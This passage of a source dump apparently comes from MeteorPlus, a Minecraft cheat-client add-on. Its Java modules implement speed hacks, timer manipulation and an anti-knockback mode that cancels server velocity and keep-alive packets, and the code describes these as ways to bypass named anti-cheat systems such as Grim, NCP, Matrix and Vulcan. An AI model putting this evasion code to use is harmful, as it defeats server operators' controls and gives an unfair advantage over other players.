onReceivePacket(PacketEvent.Receive event) {} 22 | public void onSendPacket(PacketEvent.Send event) {} 23 | public void onSentPacket(PacketEvent.Sent event) {} 24 | public void onPlayerMoveEvent(PlayerMoveEvent event) {} 25 | 26 | public void onTickEventPre(TickEvent.Pre event) {} 27 | public void onTickEventPost(TickEvent.Post event) {} 28 | 29 | public void onActivate() {} 30 | public void onDeactivate() {} 31 | 32 | protected double getDefaultSpeed() { 33 | double defaultSpeed = 0.2873; 34 | if (mc.player.hasStatusEffect(StatusEffects.SPEED)) { 35 | int amplifier = mc.player.getStatusEffect(StatusEffects.SPEED).getAmplifier(); 36 | defaultSpeed *= 1.0 + 0.2 * (amplifier + 1); 37 | } 38 | if (mc.player.hasStatusEffect(StatusEffects.SLOWNESS)) { 39 | int amplifier = mc.player.getStatusEffect(StatusEffects.SLOWNESS).getAmplifier(); 40 | defaultSpeed /= 1.0 + 0.2 * (amplifier + 1); 41 | } 42 | return defaultSpeed; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/SpeedModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed; 2 | 3 | public enum SpeedModes { 4 | NCP_Hop, 5 | Matrix_Exploit, 6 | Matrix_Exploit_2, 7 | Matrix_6_7_0, 8 | Matrix, 9 | Vulcan, 10 | AAC_Hop_4_3_8; 11 | 12 | @Override 13 | public String toString() { 14 | String name = name(); 15 | if (name.equals("Matrix_6_7_0")) { 16 | return "Matrix 6.7.0"; 17 | } 18 | if (name.equals("AAC_Hop_4_3_8")) { 19 | return "AAC Hop 4.3.8"; 20 | } 21 | return super.toString().replace('_', ' '); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/modes/AACHop438.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed.modes; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.systems.modules.Modules; 5 | import meteordevelopment.meteorclient.systems.modules.world.Timer; 6 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 7 | import nekiplay.meteorplus.features.modules.speed.SpeedMode; 8 | import nekiplay.meteorplus.features.modules.speed.SpeedModes; 9 | 10 | public class AACHop438 extends SpeedMode { 11 | public AACHop438() { 12 | super(SpeedModes.AAC_Hop_4_3_8); 13 | } 14 | 15 | @Override 16 | public void onDeactivate() { 17 | Modules.get().get(Timer.class).setOverride(Timer.OFF); 18 | } 19 | 20 | @Override 21 | public void onTickEventPre(TickEvent.Pre event) { 22 | Timer timer = Modules.get().get(Timer.class); 23 | timer.setOverride(Timer.OFF); 24 | if (!PlayerUtils.isMoving() || mc.player.isTouchingWater() || mc.player.isInLava() || 25 | mc.player.isClimbing() || mc.player.isRiding()) return; 26 | 27 | if (mc.player.isOnGround()) 28 | mc.player.jump(); 29 | else { 30 | if (mc.player.fallDistance <= 0.1) 31 | timer.setOverride(1.5); 32 | else if (mc.player.fallDistance < 1.3) 33 | timer.setOverride(0.7); 34 | else 35 | timer.setOverride(Timer.OFF); 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/modes/NCPHop.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed.modes; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.systems.modules.Modules; 5 | import meteordevelopment.meteorclient.systems.modules.world.Timer; 6 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 7 | import nekiplay.meteorplus.features.modules.speed.SpeedMode; 8 | import nekiplay.meteorplus.features.modules.speed.SpeedModes; 9 | 10 | public class NCPHop extends SpeedMode { 11 | public NCPHop() { 12 | super(SpeedModes.NCP_Hop); 13 | } 14 | 15 | @Override 16 | public void onActivate() { 17 | Modules.get().get(Timer.class).setOverride(1.0865f); 18 | } 19 | 20 | @Override 21 | public void onDeactivate() { 22 | Modules.get().get(Timer.class).setOverride(Timer.OFF); 23 | mc.player.getAbilities().setFlySpeed(0.02f); 24 | } 25 | 26 | @Override 27 | public void onTickEventPre(TickEvent.Pre event) { 28 | if (mc.player.isTouchingWater() || mc.player.isInLava() || 29 | mc.player.isClimbing() || mc.player.isRiding()) return; 30 | Timer timer = Modules.get().get(Timer.class); 31 | if (PlayerUtils.isMoving() && mc.player.isOnGround()) { 32 | mc.player.jump(); 33 | mc.player.getAbilities().setFlySpeed(0.0223f); 34 | } 35 | else { 36 | timer.setOverride(1); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/modes/Vulcan.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed.modes; 2 | 3 | import meteordevelopment.meteorclient.events.entity.player.PlayerMoveEvent; 4 | import meteordevelopment.meteorclient.utils.player.FindItemResult; 5 | import meteordevelopment.meteorclient.utils.player.InvUtils; 6 | import meteordevelopment.meteorclient.utils.player.SlotUtils; 7 | import net.minecraft.entity.EquipmentSlot; 8 | import net.minecraft.entity.effect.StatusEffects; 9 | import net.minecraft.item.Item; 10 | import net.minecraft.item.Items; 11 | import nekiplay.meteorplus.features.modules.speed.SpeedMode; 12 | import nekiplay.meteorplus.features.modules.speed.SpeedModes; 13 | import nekiplay.meteorplus.utils.CustomSpeedUtils; 14 | 15 | import java.util.Objects; 16 | 17 | public class Vulcan extends SpeedMode { 18 | public Vulcan() { 19 | super(SpeedModes.Vulcan); 20 | } 21 | public Item chestPlate; 22 | @Override 23 | public void onDeactivate() { 24 | FindItemResult chest = InvUtils.find(chestPlate); 25 | if (chest.found() && mc.player.getEquippedStack(EquipmentSlot.CHEST).getItem() == Items.ELYTRA && settings.autoSwapVulcan.get()) { 26 | InvUtils.move().from(chest.slot()).toArmor(2); 27 | } 28 | } 29 | 30 | @Override 31 | public void onActivate() { 32 | FindItemResult elytra = InvUtils.find(Items.ELYTRA); 33 | if (!elytra.found()) { 34 | settings.error("Elytra not found"); 35 | settings.toggle(); 36 | } 37 | else { 38 | if (!SlotUtils.isArmor(elytra.slot()) && settings.autoSwapVulcan.get()) { 39 | if (mc.player.getEquippedStack(EquipmentSlot.CHEST).getItem() != Items.ELYTRA) { 40 | chestPlate = mc.player.getEquippedStack(EquipmentSlot.CHEST).getItem(); 41 | InvUtils.move().from(elytra.slot()).toArmor(2); 42 | } 43 | } 44 | } 45 | } 46 | 47 | @Override 48 | public void onPlayerMoveEvent(PlayerMoveEvent event) { 49 | if (mc.player != null && mc.player.getEquippedStack(EquipmentSlot.CHEST).getItem() == Items.ELYTRA) { 50 | if (mc.player.hasStatusEffect(StatusEffects.SPEED) && mc.player.getStatusEffect(StatusEffects.SPEED) != null) { 51 | if (Objects.requireNonNull(mc.player.getStatusEffect(StatusEffects.SPEED)).getAmplifier() == 1) { 52 | CustomSpeedUtils.applySpeed(event, settings.speedVulcanef2.get()); 53 | } 54 | else if (Objects.requireNonNull(mc.player.getStatusEffect(StatusEffects.SPEED)).getAmplifier() == 0) { 55 | CustomSpeedUtils.applySpeed(event, settings.speedVulcanef1.get()); 56 | } 57 | } 58 | else { 59 | CustomSpeedUtils.applySpeed(event, settings.speedVulcanef0.get()); 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/modes/matrix/Matrix.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed.modes.matrix; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.systems.modules.Modules; 5 | import meteordevelopment.meteorclient.systems.modules.world.Timer; 6 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 7 | import nekiplay.meteorplus.features.modules.speed.SpeedMode; 8 | import nekiplay.meteorplus.features.modules.speed.SpeedModes; 9 | 10 | public class Matrix extends SpeedMode { 11 | public Matrix() { 12 | super(SpeedModes.Matrix); 13 | } 14 | 15 | @Override 16 | public void onDeactivate() { 17 | Modules.get().get(Timer.class).setOverride(Timer.OFF); 18 | if (mc.player != null) { 19 | mc.player.getAbilities().setFlySpeed(0.02f); 20 | } 21 | } 22 | 23 | @Override 24 | public void onTickEventPre(TickEvent.Pre event) { 25 | Timer timer = Modules.get().get(Timer.class); 26 | timer.setOverride(Timer.OFF); 27 | if (mc.player.isTouchingWater() || mc.player.isInLava() || 28 | mc.player.isClimbing() || mc.player.isRiding()) return; 29 | if (PlayerUtils.isMoving()) { 30 | if (mc.player.isOnGround()) { 31 | mc.player.jump(); 32 | mc.player.getAbilities().setFlySpeed(0.02098f); 33 | timer.setOverride(1.055f); 34 | } 35 | } 36 | else { 37 | timer.setOverride(1); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/modes/matrix/Matrix6_7_0.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed.modes.matrix; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.mixininterface.IVec3d; 6 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 7 | import net.minecraft.network.packet.s2c.play.EntityVelocityUpdateS2CPacket; 8 | import nekiplay.meteorplus.features.modules.speed.SpeedMode; 9 | import nekiplay.meteorplus.features.modules.speed.SpeedModes; 10 | import nekiplay.meteorplus.utils.MovementUtils; 11 | 12 | public class Matrix6_7_0 extends SpeedMode { 13 | public Matrix6_7_0() { 14 | super(SpeedModes.Matrix_6_7_0); 15 | } 16 | 17 | private int noVelocityY = 0; 18 | 19 | @Override 20 | public void onDeactivate() { 21 | mc.player.getAbilities().setFlySpeed(0.02f); 22 | } 23 | 24 | @Override 25 | public void onTickEventPre(TickEvent.Pre event) { 26 | work(); 27 | } 28 | @Override 29 | public void onTickEventPost(TickEvent.Post event) { 30 | //work(); 31 | } 32 | 33 | public void onReceivePacket(PacketEvent.Receive event) { 34 | if (event.packet instanceof EntityVelocityUpdateS2CPacket velocity) { 35 | if (mc.player != null && mc.world != null && mc.world.getEntityById(velocity.getId()) != null) { 36 | if (mc.player == mc.world.getEntityById(velocity.getId())) 37 | noVelocityY = 10; 38 | } 39 | } 40 | } 41 | 42 | private void work() { 43 | if (!mc.player.isOnGround() && noVelocityY <= 0) { 44 | if (mc.player.getVelocity().y > 0) { 45 | mc.player.getVelocity().add(0, -0.0005, 0); 46 | } 47 | mc.player.getVelocity().add(0, -0.0094001145141919810, 0); 48 | } 49 | if (!mc.player.isOnGround() && noVelocityY < 8) { 50 | if (MovementUtils.getSpeed() < 0.2177 && noVelocityY < 8) { 51 | MovementUtils.strafe(0.2177f); 52 | } 53 | } 54 | if (Math.abs(mc.player.getAbilities().getFlySpeed()) < 0.1) { 55 | mc.player.getAbilities().setFlySpeed(0.026f); 56 | } 57 | else { 58 | mc.player.getAbilities().setFlySpeed(0.0247f); 59 | } 60 | if (mc.player.isOnGround() && PlayerUtils.isMoving()) { 61 | mc.options.jumpKey.setPressed(false); 62 | mc.player.jump(); 63 | IVec3d v = (IVec3d) mc.player.getVelocity(); 64 | v.setY(0.41050001145141919810); 65 | if (Math.abs(mc.player.getAbilities().getFlySpeed()) < 0.1) { 66 | MovementUtils.strafe(MovementUtils.getSpeed()); 67 | } 68 | } 69 | if (!PlayerUtils.isMoving()) { 70 | IVec3d v = (IVec3d) mc.player.getVelocity(); 71 | v.setXZ(0, 0); 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/modes/matrix/MatrixExploit.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed.modes.matrix; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.mixininterface.IVec3d; 5 | import meteordevelopment.meteorclient.utils.player.FindItemResult; 6 | import meteordevelopment.meteorclient.utils.player.InvUtils; 7 | import net.minecraft.item.Items; 8 | import net.minecraft.network.packet.c2s.play.ClientCommandC2SPacket; 9 | import net.minecraft.util.math.Vec3d; 10 | import nekiplay.meteorplus.features.modules.speed.SpeedMode; 11 | import nekiplay.meteorplus.features.modules.speed.SpeedModes; 12 | import nekiplay.meteorplus.utils.ElytraUtils; 13 | 14 | public class MatrixExploit extends SpeedMode { 15 | public MatrixExploit() { 16 | super(SpeedModes.Matrix_Exploit); 17 | } 18 | 19 | @Override 20 | public void onActivate() { 21 | FindItemResult elytra = InvUtils.find(Items.ELYTRA); 22 | if (!elytra.found()) { 23 | settings.error("Elytra not found"); 24 | settings.toggle(); 25 | } 26 | else { 27 | tick = 0; 28 | } 29 | } 30 | 31 | public void startFly() { 32 | mc.player.networkHandler.sendPacket(new ClientCommandC2SPacket(mc.player, ClientCommandC2SPacket.Mode.START_FALL_FLYING)); 33 | } 34 | int tick = 0; 35 | 36 | @Override 37 | public void onTickEventPre(TickEvent.Pre event) { 38 | FindItemResult elytra = InvUtils.find(Items.ELYTRA); 39 | if (elytra.found()) { 40 | if (tick == 0) { 41 | InvUtils.move().from(elytra.slot()).toArmor(2); 42 | ElytraUtils.startFly(); 43 | ElytraUtils.startFly(); 44 | InvUtils.move().fromArmor(2).to(elytra.slot()); 45 | tick = 21; 46 | } 47 | else { 48 | tick--; 49 | } 50 | 51 | float yaw = mc.player.getYaw(); 52 | Vec3d forward = Vec3d.fromPolar(0, yaw); 53 | Vec3d right = Vec3d.fromPolar(0, yaw + 90); 54 | double velX = 0; 55 | double velZ = 0; 56 | double s = settings.speedMatrix.get(); 57 | double speedValue = 0.01; 58 | if (mc.options.forwardKey.isPressed()) { 59 | velX += forward.x * s * speedValue; 60 | velZ += forward.z * s * speedValue; 61 | } 62 | if (mc.options.backKey.isPressed()) { 63 | velX -= forward.x * s * speedValue; 64 | velZ -= forward.z * s * speedValue; 65 | } 66 | 67 | if (mc.options.rightKey.isPressed()) { 68 | velX += right.x * s * speedValue; 69 | velZ += right.z * s * speedValue; 70 | } 71 | if (mc.options.leftKey.isPressed()) { 72 | velX -= right.x * s * speedValue; 73 | velZ -= right.z * s * speedValue; 74 | } 75 | double y = mc.player.getVelocity().y; 76 | ((IVec3d) mc.player.getVelocity()).set(velX, y, velZ); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/spider/SpiderMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.spider; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import net.minecraft.client.MinecraftClient; 7 | 8 | public class SpiderMode { 9 | protected final MinecraftClient mc; 10 | protected final SpiderPlus settings; 11 | private final SpiderModes type; 12 | 13 | public SpiderMode(SpiderModes type) { 14 | this.settings = Modules.get().get(SpiderPlus.class); 15 | this.mc = MinecraftClient.getInstance(); 16 | this.type = type; 17 | } 18 | 19 | public void onSendPacket(PacketEvent.Send event) {} 20 | public void onSentPacket(PacketEvent.Sent event) {} 21 | 22 | public void onTickEventPre(TickEvent.Pre event) {} 23 | public void onTickEventPost(TickEvent.Post event) {} 24 | 25 | public void onActivate() {} 26 | public void onDeactivate() {} 27 | } 28 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/spider/SpiderModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.spider; 2 | 3 | public enum SpiderModes { 4 | Matrix, 5 | Vulcan, 6 | Elytra_clip; 7 | 8 | @Override 9 | public String toString() { 10 | return super.toString().replace('_', ' '); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/timer/TimerMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.timer; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import net.minecraft.client.MinecraftClient; 7 | 8 | public class TimerMode { 9 | protected final MinecraftClient mc; 10 | protected final TimerPlus settings; 11 | private final TimerModes type; 12 | 13 | public TimerMode(TimerModes type) { 14 | this.settings = Modules.get().get(TimerPlus.class);; 15 | this.mc = MinecraftClient.getInstance(); 16 | this.type = type; 17 | } 18 | 19 | public void onSendPacket(PacketEvent.Send event) {} 20 | public void onSentPacket(PacketEvent.Sent event) {} 21 | 22 | public void onTickEventPre(TickEvent.Pre event) {} 23 | public void onTickEventPost(TickEvent.Post event) {} 24 | 25 | public void onActivate() {} 26 | public void onDeactivate() {} 27 | } 28 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/timer/TimerModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.timer; 2 | 3 | public enum TimerModes { 4 | NCP, 5 | Intave, 6 | Custom 7 | } 8 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/timer/modes/NCP.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.timer.modes; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.systems.modules.Modules; 5 | import meteordevelopment.meteorclient.systems.modules.world.Timer; 6 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 7 | import nekiplay.meteorplus.features.modules.timer.TimerMode; 8 | import nekiplay.meteorplus.features.modules.timer.TimerModes; 9 | import nekiplay.meteorplus.features.modules.timer.TimerPlus; 10 | 11 | import static nekiplay.meteorplus.features.modules.timer.TimerPlus.*; 12 | 13 | public class NCP extends TimerMode { 14 | private Timer timer; 15 | public NCP() { 16 | super(TimerModes.NCP); 17 | timer = Modules.get().get(Timer.class); 18 | } 19 | 20 | @Override 21 | public void onDeactivate() { 22 | timer.setOverride(Timer.OFF); 23 | } 24 | 25 | @Override 26 | public void onTickEventPre(TickEvent.Pre event) { 27 | if (mc.player == null) return; 28 | if (rechargeTimer == 0) { 29 | if (workingTimer > workingDelay) { 30 | rechargeTimer = rechargeDelay; 31 | workingTimer = 0; 32 | timer.setOverride(Timer.OFF); 33 | } 34 | else { 35 | if (settings.isActive()) { 36 | if (settings.onlyInMove.get() && PlayerUtils.isMoving()) { 37 | workingTimer++; 38 | timer.setOverride(timerMultiplier); 39 | } 40 | else if (!settings.onlyInMove.get()) { 41 | workingTimer++; 42 | timer.setOverride(timerMultiplier); 43 | } 44 | else { 45 | timer.setOverride(timerMultiplierOnRecharge); 46 | } 47 | } 48 | } 49 | } 50 | else { 51 | rechargeTimer--; 52 | if (settings.isActive()) { 53 | timer.setOverride(timerMultiplierOnRecharge); 54 | } 55 | else { 56 | timer.setOverride(Timer.OFF); 57 | } 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/velocity/VelocityMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.velocity; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import net.minecraft.client.MinecraftClient; 7 | 8 | public class VelocityMode { 9 | protected final MinecraftClient mc; 10 | protected final VelocityPlus settings; 11 | private final VelocityModes type; 12 | 13 | public VelocityMode(VelocityModes type) { 14 | this.settings = Modules.get().get(VelocityPlus.class);; 15 | this.mc = MinecraftClient.getInstance(); 16 | this.type = type; 17 | } 18 | 19 | public void onSendPacket(PacketEvent.Send event) {} 20 | public void onSentPacket(PacketEvent.Sent event) {} 21 | public void onReceivePacket(PacketEvent.Receive event) {} 22 | 23 | public void onTickEventPre(TickEvent.Pre event) {} 24 | public void onTickEventPost(TickEvent.Post event) {} 25 | 26 | public void onActivate() {} 27 | public void onDeactivate() {} 28 | } 29 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/velocity/VelocityModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.velocity; 2 | 3 | public enum VelocityModes { 4 | Grim, 5 | } 6 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/velocity/VelocityPlus.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.velocity; 2 | 3 | import meteordevelopment.meteorclient.MeteorClient; 4 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 5 | import meteordevelopment.meteorclient.events.world.TickEvent; 6 | import meteordevelopment.meteorclient.settings.*; 7 | import meteordevelopment.meteorclient.systems.modules.Module; 8 | import meteordevelopment.meteorclient.systems.modules.Modules; 9 | import meteordevelopment.meteorclient.systems.modules.world.Timer; 10 | import meteordevelopment.orbit.EventHandler; 11 | import nekiplay.meteorplus.MeteorPlus; 12 | import nekiplay.meteorplus.features.modules.timer.TimerMode; 13 | import nekiplay.meteorplus.features.modules.timer.TimerModes; 14 | import nekiplay.meteorplus.features.modules.timer.TimerPlus; 15 | import nekiplay.meteorplus.features.modules.timer.modes.NCP; 16 | import nekiplay.meteorplus.features.modules.velocity.modes.Grim; 17 | import net.minecraft.client.MinecraftClient; 18 | 19 | public class VelocityPlus extends Module { 20 | public VelocityPlus() { 21 | super(MeteorPlus.CATEGORY, "防击退+", "绕过反作弊的防击退方式"); 22 | } 23 | private final SettingGroup settingsGroup = settings.getDefaultGroup(); 24 | 25 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 26 | 27 | private final Setting mode = sgGeneral.add(new EnumSetting.Builder() 28 | .name("模式") 29 | .description("防击退模式") 30 | .defaultValue(VelocityModes.Grim) 31 | .onModuleActivated(timerModesSetting -> onTimerModeChanged(timerModesSetting.get())) 32 | .onChanged(this::onTimerModeChanged) 33 | .build() 34 | ); 35 | 36 | 37 | private VelocityMode currentMode; 38 | 39 | private void onTimerModeChanged(VelocityModes mode) { 40 | switch (mode) { 41 | case Grim -> { 42 | currentMode = new Grim(); 43 | } 44 | } 45 | } 46 | 47 | @Override 48 | public void onActivate() { 49 | currentMode.onActivate(); 50 | } 51 | 52 | @Override 53 | public void onDeactivate() { 54 | currentMode.onDeactivate(); 55 | } 56 | 57 | @EventHandler 58 | private void onPreTick(TickEvent.Pre event) { 59 | currentMode.onTickEventPre(event); 60 | } 61 | 62 | @EventHandler 63 | private void onPostTick(TickEvent.Post event) { 64 | currentMode.onTickEventPost(event); 65 | } 66 | @EventHandler 67 | public void onSendPacket(PacketEvent.Send event) { 68 | currentMode.onSendPacket(event); 69 | } 70 | @EventHandler 71 | public void onSentPacket(PacketEvent.Sent event) { 72 | currentMode.onSentPacket(event); 73 | } 74 | @EventHandler 75 | private void onRecivePacket(PacketEvent.Receive event) { 76 | currentMode.onReceivePacket(event); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/velocity/modes/Grim.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.velocity.modes; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import nekiplay.meteorplus.features.modules.velocity.VelocityMode; 6 | import nekiplay.meteorplus.features.modules.velocity.VelocityModes; 7 | import net.minecraft.network.packet.Packet; 8 | import net.minecraft.network.packet.s2c.common.KeepAliveS2CPacket; 9 | import net.minecraft.network.packet.s2c.play.EntityVelocityUpdateS2CPacket; 10 | 11 | public class Grim extends VelocityMode { 12 | public Grim() { 13 | super(VelocityModes.Grim); 14 | } 15 | 16 | private int cancelPacket = 6; 17 | private int resetPersec = 8; 18 | private int grimTCancel = 0; 19 | private int updates = 0; 20 | 21 | @Override 22 | public void onActivate() { 23 | grimTCancel = 0; 24 | } 25 | 26 | @Override 27 | public void onReceivePacket(PacketEvent.Receive event) { 28 | Packet packet = event.packet; 29 | 30 | if (packet instanceof EntityVelocityUpdateS2CPacket) { 31 | EntityVelocityUpdateS2CPacket entityVelocityUpdateS2CPacket = (EntityVelocityUpdateS2CPacket)packet; 32 | if (entityVelocityUpdateS2CPacket.getId() == mc.player.getId()) { 33 | event.cancel(); 34 | grimTCancel = cancelPacket; 35 | } 36 | } 37 | if (packet instanceof KeepAliveS2CPacket && grimTCancel > 0) { 38 | event.cancel(); 39 | grimTCancel--; 40 | } 41 | } 42 | 43 | @Override 44 | public void onTickEventPre(TickEvent.Pre event) { 45 | updates++; 46 | 47 | if (resetPersec > 0) { 48 | if (updates >= 0 || updates >= resetPersec) { 49 | updates = 0; 50 | if (grimTCancel > 0){ 51 | grimTCancel--; 52 | } 53 | } 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/AutoToolMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.events.entity.player.StartBreakingBlockEvent; 4 | import meteordevelopment.meteorclient.systems.modules.player.AutoTool; 5 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 6 | import net.minecraft.world.GameMode; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 11 | 12 | import static meteordevelopment.meteorclient.MeteorClient.mc; 13 | 14 | @Mixin(value = AutoTool.class, remap = false) 15 | public class AutoToolMixin 16 | { 17 | @Inject(method = "onStartBreakingBlock", at = @At("HEAD"), cancellable = true) 18 | private void onStartBreakingBlock(StartBreakingBlockEvent event, CallbackInfo ci) { 19 | if (PlayerUtils.getGameMode() == GameMode.CREATIVE || PlayerUtils.getGameMode() == GameMode.SPECTATOR) 20 | { 21 | if (ci.isCancellable()) { 22 | ci.cancel(); 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/DefaultSettingsWidgetFactoryMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.gui.DefaultSettingsWidgetFactory; 4 | import meteordevelopment.meteorclient.gui.GuiTheme; 5 | import meteordevelopment.meteorclient.gui.utils.SettingsWidgetFactory; 6 | import nekiplay.meteorplus.settings.items.MeteorPlusSettings; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 11 | 12 | @Mixin(DefaultSettingsWidgetFactory.class) 13 | public abstract class DefaultSettingsWidgetFactoryMixin extends SettingsWidgetFactory { 14 | public DefaultSettingsWidgetFactoryMixin(GuiTheme theme) { 15 | super(theme); 16 | } 17 | 18 | @Inject(method = "", at = @At("TAIL"), remap = false) 19 | private void onInit(GuiTheme theme, CallbackInfo ci) { 20 | new MeteorPlusSettings(factories, this.theme).addSettings(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/ESPMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Modules; 4 | import meteordevelopment.meteorclient.systems.modules.render.ESP; 5 | import net.minecraft.entity.Entity; 6 | import net.minecraft.entity.player.PlayerEntity; 7 | import nekiplay.meteorplus.features.modules.AntiBotPlus; 8 | import org.spongepowered.asm.mixin.Mixin; 9 | import org.spongepowered.asm.mixin.injection.At; 10 | import org.spongepowered.asm.mixin.injection.Inject; 11 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 12 | 13 | @Mixin(ESP.class) 14 | public class ESPMixin { 15 | @Inject(method = "shouldSkip", at = @At("RETURN"), cancellable = true) 16 | protected void shouldSkip(Entity entity, CallbackInfoReturnable cir) { 17 | AntiBotPlus antiBotPlus = Modules.get().get(AntiBotPlus.class); 18 | if (antiBotPlus != null && antiBotPlus.isActive() && !cir.getReturnValue() && entity instanceof PlayerEntity) { 19 | cir.setReturnValue(antiBotPlus.isBot(entity)); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/mixin/meteorclient/FontsMixin.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.mixin.meteorclient; 2 | 3 | import meteordevelopment.meteorclient.MeteorClient; 4 | import meteordevelopment.meteorclient.events.meteor.CustomFontChangedEvent; 5 | import meteordevelopment.meteorclient.gui.WidgetScreen; 6 | import meteordevelopment.meteorclient.renderer.Fonts; 7 | import meteordevelopment.meteorclient.renderer.text.FontFace; 8 | import meteordevelopment.meteorclient.systems.config.Config; 9 | import nekiplay.meteorplus.mixinclasses.CustomTextRendererV2; 10 | import org.spongepowered.asm.mixin.Mixin; 11 | import org.spongepowered.asm.mixin.injection.At; 12 | import 